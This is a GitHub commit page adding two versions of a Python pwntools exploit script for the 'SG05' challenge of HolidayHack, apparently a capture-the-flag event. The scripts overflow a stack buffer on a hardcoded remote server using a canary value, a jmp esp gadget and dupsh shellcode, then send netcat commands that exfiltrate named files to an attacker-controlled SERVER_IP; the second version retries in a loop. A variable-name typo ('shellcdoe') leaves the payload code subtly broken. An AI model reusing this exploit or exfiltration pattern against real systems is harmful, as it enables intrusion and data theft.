Skip to content

Commit 2937e9f

Browse files
committed
Add the exploit script for SG05 from HolidayHack
1 parent 8d5e083 commit 2937e9f

File tree

2 files changed

+162
-0
lines changed

2 files changed

+162
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
from pwn import *
2+
import os
3+
from ctypes import CDLL
4+
from math import floor
5+
# context.terminal = ['tmux', 'splitw', '-h']
6+
context(arch='x86')
7+
8+
canary = p32(0xe4ffffe4)
9+
10+
# print('0x080493b2 - xor edx, 0xe4ffffe4')
11+
# print('0x08049708 e83f010000 call sym.sgnet_randfd ;[g]')
12+
13+
folder = os.path.join('/', 'gnome', 'www', 'files')
14+
files = [
15+
'20151215161015.zip',
16+
'factory_cam_5.zip',
17+
'gnome.conf'
18+
]
19+
20+
server_ip = 'SERVER_IP'
21+
22+
# Exfiltrate files out of the box
23+
command = ''
24+
for index, file in enumerate(files):
25+
filepath = os.path.join(folder, file)
26+
curr_command = 'nc {} 5711{} < {};'.format(server_ip, index, filepath)
27+
command += curr_command
28+
29+
# Before exfiltration, do a little recon on the box
30+
# Trying to see if we can exfiltrate via nc or python
31+
# command = 'whoami;ls;pwd;which nc;which python'
32+
print command
33+
34+
# Continuous loop, trying to wait for the RND to land in our favor
35+
r = remote('54.233.105.81', '4242')
36+
37+
# Secret backdoor to vulnerable function
38+
r.sendline('X')
39+
40+
# Testing padding length
41+
# 100 from buffer length from source file
42+
# canary also found in source
43+
# shellcode = 'A' * 100 + canary + cyclic(400)
44+
45+
# 0x080493b2 - xor edx, 0xe4ffffe4
46+
# 0x0804936b # 2: jmp esp
47+
48+
# Real jmp esp
49+
jmpesp = p32(0x804936b)
50+
51+
shellcode = 'A' * cyclic_find('bbaa')
52+
shellcode += canary
53+
shellcdoe += 'aaaa'
54+
shellcode += jmpesp
55+
shellcode += asm(shellcraft.dupsh(0xa6)) # 0xa6 is arbitrary. Just some number 0 < x < 1024
56+
shellcode += 'Z' * (200 - len(shellcode))
57+
58+
# Retrieve all the text before we "should" see actual results
59+
r.recvuntil('protected!\n')
60+
61+
log.info("Sending: {}".format(shellcode))
62+
r.sendline(shellcode)
63+
log.info("Sending: {}".format(command))
64+
r.sendline(command)
65+
gotit = False
66+
total = ''
67+
68+
# Wait for actual results to come back
69+
# Halt the script
70+
for _ in xrange(4):
71+
out = r.recv()
72+
if out != '\x00':
73+
print out
74+
gotit = True
75+
total += out
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
from pwn import *
2+
import os
3+
from ctypes import CDLL
4+
from math import floor
5+
# context.terminal = ['tmux', 'splitw', '-h']
6+
context(arch='x86')
7+
8+
canary = p32(0xe4ffffe4)
9+
10+
# print('0x080493b2 - xor edx, 0xe4ffffe4')
11+
# print('0x08049708 e83f010000 call sym.sgnet_randfd ;[g]')
12+
13+
folder = os.path.join('/', 'gnome', 'www', 'files')
14+
files = [
15+
'20151215161015.zip',
16+
'factory_cam_5.zip',
17+
'gnome.conf'
18+
]
19+
20+
server_ip = 'SERVER_IP'
21+
22+
# Exfiltrate files out of the box
23+
command = ''
24+
for index, file in enumerate(files):
25+
filepath = os.path.join(folder, file)
26+
curr_command = 'nc {} 5711{} < {};'.format(server_ip, index, filepath)
27+
command += curr_command
28+
29+
# Before exfiltration, do a little recon on the box
30+
# Trying to see if we can exfiltrate via nc or python
31+
# command = 'whoami;ls;pwd;which nc;which python'
32+
print command
33+
34+
# Continuous loop, trying to wait for the RND to land in our favor
35+
r = remote('54.233.105.81', '4242')
36+
while True:
37+
r.close()
38+
r = remote('54.233.105.81', '4242')
39+
40+
# Secret backdoor to vulnerable function
41+
r.sendline('X')
42+
43+
# Testing padding length
44+
# 100 from buffer length from source file
45+
# canary also found in source
46+
# shellcode = 'A' * 100 + canary + cyclic(400)
47+
48+
# 0x080493b2 - xor edx, 0xe4ffffe4
49+
# 0x0804936b # 2: jmp esp
50+
51+
# Real jmp esp
52+
jmpesp = p32(0x804936b)
53+
54+
shellcode = 'A' * cyclic_find('bbaa')
55+
shellcode += canary
56+
shellcdoe += 'aaaa'
57+
shellcode += jmpesp
58+
shellcode += asm(shellcraft.dupsh(0xa6)) # 0xa6 is arbitrary. Just some number 0 < x < 1024
59+
shellcode += 'Z' * (200 - len(shellcode))
60+
61+
# Retrieve all the text before we "should" see actual results
62+
r.recvuntil('protected!\n')
63+
64+
try:
65+
log.info("Sending: {}".format(shellcode))
66+
r.sendline(shellcode)
67+
log.info("Sending: {}".format(command))
68+
r.sendline(command)
69+
gotit = False
70+
total = ''
71+
72+
# Wait for actual results to come back
73+
# Halt the script
74+
for _ in xrange(4):
75+
out = r.recv()
76+
if out != '\x00':
77+
print out
78+
gotit = True
79+
total += out
80+
81+
if gotit:
82+
print gotit
83+
raw_input("DONE!!")
84+
r.interactive()
85+
86+
except:
87+
continue

0 commit comments

Comments
 (0)